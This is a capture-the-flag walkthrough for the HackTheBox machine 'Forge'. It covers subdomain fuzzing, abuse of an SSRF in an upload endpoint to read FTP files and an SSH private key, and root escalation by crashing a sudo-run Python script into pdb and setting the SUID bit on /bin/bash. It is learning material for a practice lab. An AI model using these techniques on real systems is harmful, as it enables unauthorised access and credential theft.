Write Up
Write Up
Nmap
vhost enum
ffuf -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt -u
http://forge.htb/ -H "Host: FUZZ.forge.htb" -t 200 -fl 10
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://forge.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/shubs-
subdomains.txt
:: Header : Host: FUZZ.forge.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response lines: 10
________________________________________________
port 80 is open
there's a subdomain called admin
found a vhost called forge.htb ( when we visit to the port 80 it gives redirect )
we cant access admin subdomain its localhost only
http://ADMIN.FORGE.HTB/
so after doing so we gets a link and if we curl that and view the content in that link we
notice an interesting endpoint called announcements
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a
href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a>
</h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
http://ADMIN.FORGE.HTB/announcements
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css"
href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a
href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a>
</h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as
user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https
protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of
uploads, and for uploading an image, one can simply pass a url with ?
u=<url>.</li>
</ul>
</body>
</html>
lets try to access ftp first by passing the ftp url in get param to the admin vhost
http://ADMIN.FORGE.HTB/upload?u=ftp://user:[email protected]
so this must be the home dir for the user so i checked the id_rsa key and it worked
http://ADMIN.FORGE.HTB/upload?
u=ftp://user:[email protected]/.ssh/id_rsa
for now we only have one username which us user we found this from the ftp so lets
try ssh with this username
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
so if you go though the script we can see there's a try catch block and interestingly if
an exception happens we can see it opens pdb
so how can we exploit this ? basically we need to arise an exception so if you check
the if statement they dont handle else call so if we pass something other than 1 4 it
should arise an exception so run the script as root and nc to the port from another
terminal ( ssh again and nc to that port )
nc localhost 42512
secretadminpassword
now enter something invalid
and since they dont handle this input this arise an exception and because of that it will
open pdb
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
so after we have pdb well we can execute any python command so import os and then
set suid to /bin/bash so that you be root easily
(Pdb) import os
(Pdb) os.system('chmod u+s /bin/bash')
/bin/bash -p
bash-5.0# cd /root
bash-5.0# cat root.txt
eb2b840fca52fc3658cc011e4995f4af
bash-5.0#